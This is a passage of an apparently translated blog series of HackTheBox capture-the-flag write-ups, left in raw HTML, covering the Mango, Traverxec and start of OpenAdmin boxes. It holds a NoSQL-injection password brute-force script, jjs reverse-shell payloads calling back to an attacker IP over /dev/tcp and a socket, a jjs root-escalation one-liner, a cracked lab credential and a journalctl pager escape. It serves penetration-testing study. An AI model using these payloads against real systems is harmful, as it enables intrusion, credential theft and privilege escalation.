list_username[i]+c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(&amp;#34;result:&amp;#34;,list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c,response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username.append(c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The two approaches do not conflict; uncommenting the code above still works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = [&amp;#39;admin&amp;#39;, &amp;#39;mango&amp;#39;] # Enter usernames here, or comment out this line to use the results above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for user in list_username:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if list_password != [] and len(list_password) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{list_password + c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;result:&amp;#34;, list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print_list.append(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(print_list)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It was indeed a little slow. I hadn&amp;rsquo;t considered multithreading. The script probably still needed optimization, but those details weren&amp;rsquo;t important here.&lt;/p&gt;&#10;&lt;p&gt;username&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t deduplicated the results, but the password came out. It had the same length I measured manually: 16 characters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Credential reuse worked for mango, and I logged in over SSH.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Most likely I needed to move laterally to admin and then run this to escalate to root.&lt;/p&gt;&#10;&lt;p&gt;The script provided that hint as well, but we weren&amp;rsquo;t admin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Using su with the password from earlier got me in. SSH was probably disabled in sshconfig.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a classic reverse-shell script: start a ProcessBuilder thread, connect back with a Socket, define input streams, and use an infinite loop to send commands and return their output.&lt;/p&gt;&#10;&lt;p&gt;The problem was that I had never used jjs. I Googled how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;What I learned was that it can execute Java code directly.&lt;/p&gt;&#10;&lt;p&gt;Java.type(&amp;lsquo;java.lang.Runtime&amp;rsquo;).getRuntime().exec(&amp;rsquo;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999 0&amp;gt;&amp;amp;1&amp;rsquo;)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The process started but reported no input, and I received no shell. The examples below came with it; the versions with modified arguments were my own tests, but none of them returned a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var host= &amp;#34;10.10.16.13&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var port= &amp;#34;9999&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var ProcessBuilder = Java.type(&amp;#34;java.lang.ProcessBuilder&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var p=new ProcessBuilder(&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;).redirectErrorStream(true).start();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var Socket = Java.type(&amp;#34;java.net.Socket&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var s=new Socket(&amp;#34;10.10.16.13&amp;#34;,&amp;#34;9999&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()&amp;gt;0)so.write(pi.read()); while(pe.available()&amp;gt;0)so.write(pe.read()); while(si.available()&amp;gt;0)po.write(si.read()); so.flush();po.flush(); Java.type(&amp;#34;java.lang.Thread&amp;#34;).sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a jjs privilege-escalation technique. Modify the payload:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;).waitFor()&amp;#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box held me up for a long time, mainly because my script was extremely slow. Network speed may have made the brute-forcing slow, or the script may simply have been poorly written. Either way, that part took me ages. This was also apparently my second encounter with NoSQL injection; I hadn&amp;rsquo;t paid much attention the first time.&lt;/p&gt;&#10;&lt;p&gt;The final point was this Java technique. I didn&amp;rsquo;t know about jjs at first and only then learned it could invoke Java code, so I kept trying to construct something myself. The history did contain some examples. Although its script looked fine, reality showed that the shell simply wouldn&amp;rsquo;t connect back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I asked GPT, and there really was a problem with it.&lt;/p&gt;&#10;&lt;h2 id="20traverxec"&gt;&lt;a href="#20traverxec" class="header-anchor"&gt;&lt;/a&gt;20.Traverxec&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Accessing this machine was extremely laggy. I don&amp;rsquo;t know whether the cause was my computer or the target.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result.&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb found a fingerprint on port 80, and searching for it led directly to an exploit.&lt;/p&gt;&#10;&lt;p&gt;Running it gave a shell immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum helped us find a hash. CMD5 required payment, so I cracked it myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;david/Nowonly4me&lt;/p&gt;&#10;&lt;p&gt;I tried connecting over SSH, but couldn&amp;rsquo;t log in at all. Even su failed.&lt;/p&gt;&#10;&lt;p&gt;I even searched for whether there were other forms of su.&lt;/p&gt;&#10;&lt;p&gt;I began researching the website and found that it seemed to be running as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was only a purely front-end page, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That wasn&amp;rsquo;t actually how it worked. It granted execute permission, but only root could modify the file. Execution still happened as the current user.&lt;/p&gt;&#10;&lt;p&gt;By this point, I had tried every conventional technique I could think of. The solution was probably unconventional.&lt;/p&gt;&#10;&lt;p&gt;The unconventional paths I had identified were as follows:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;David&amp;rsquo;s home directory couldn&amp;rsquo;t be listed, but files in it could be executed. If we could identify any privilege-escalation files in David&amp;rsquo;s home directory, knowing their names would be enough.&lt;/p&gt;&#10;&lt;p&gt;There was another lead. I found a configuration file under the directory containing the password file, and that password-file directory was itself the website directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We had already checked the first item, and I had mapped the IP in hosts.&lt;/p&gt;&#10;&lt;p&gt;The second mentioned the user. That was fine; the process was indeed running as www-data.&lt;/p&gt;&#10;&lt;p&gt;The third only mentioned that the password was easy to crack and suggested credential reuse. It didn&amp;rsquo;t seem to offer much else.&lt;/p&gt;&#10;&lt;p&gt;The fourth mentioned a public public directory under home. We had actually found david and public_www under the home directory, but hadn&amp;rsquo;t located the latter.&lt;/p&gt;&#10;&lt;p&gt;Most importantly, we could execute things under the david directory but couldn&amp;rsquo;t list it. Only David&amp;rsquo;s home directory itself was inaccessible; child directories and files beneath it could still be accessed, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there were currently two paths in front of us.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force David&amp;rsquo;s home directory.&lt;/p&gt;&#10;&lt;p&gt;The second was to locate public_www.&lt;/p&gt;&#10;&lt;p&gt;I searched for public_www for a long time without success, but later made an important discovery.&lt;/p&gt;&#10;&lt;p&gt;It was hidden under the david directory. Digging through it revealed a backup SSH key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Transfer it to Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through some files and found an interesting one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I tried privilege escalation with sudo, it required a password, so it was strange that this command didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;Further testing showed that only the exact command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service&lt;/p&gt;&#10;&lt;p&gt;could be run with sudo without a password. Changing even one character or argument, or appending anything, failed. The only apparent option was concatenating with |, &amp;amp;, ;, and so on, but after concatenation the extra command obviously no longer ran with the original privileges.&lt;/p&gt;&#10;&lt;p&gt;The path was also hard-coded. If it hadn&amp;rsquo;t been, the file could have been replaced to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.linuxcool.com/journalctl" target="_blank" rel="noopener"&#10; &gt;https://www.linuxcool.com/journalctl&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page explains the journalctl options: -n specifies the number of lines, while -u specifies the service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t figure out how these two facts were related at all.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods afterward but never solved it. This time I read a write-up, which explained that journalctl was configured to output 5 lines. Once those lines were printed, there was no opportunity to enter a command. However, its output depends on the current window size, so all I needed to do was shrink the window.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box really tested search skills. One part was finding the configuration file, which I never found through searching and ultimately had to guess.&lt;/p&gt;&#10;&lt;p&gt;The other was researching the journalctl options, which I did find. But the key was shrinking the current terminal window so it remained inside the pager interface. I didn&amp;rsquo;t find that step through searching. I&amp;rsquo;m not sure whether this is the kind of knowledge accumulated over time or another test of search skills.&lt;/p&gt;&#10;&lt;h2 id="21openadmin"&gt;&lt;a href="#21openadmin" class="header-anchor"&gt;&lt;/a&gt;21.OpenAdmin&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting a foothold was easier than I expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.171/music/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/music/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page lets you log in or create an account.&lt;/p&gt;&#10;&lt;p&gt;Clicking login redirects to &lt;a class="link" href="http://10.10.10.171/ona/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/ona/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a download link at the top.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the framework and its version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading it showed that a url was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just add the url to the parameters.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span 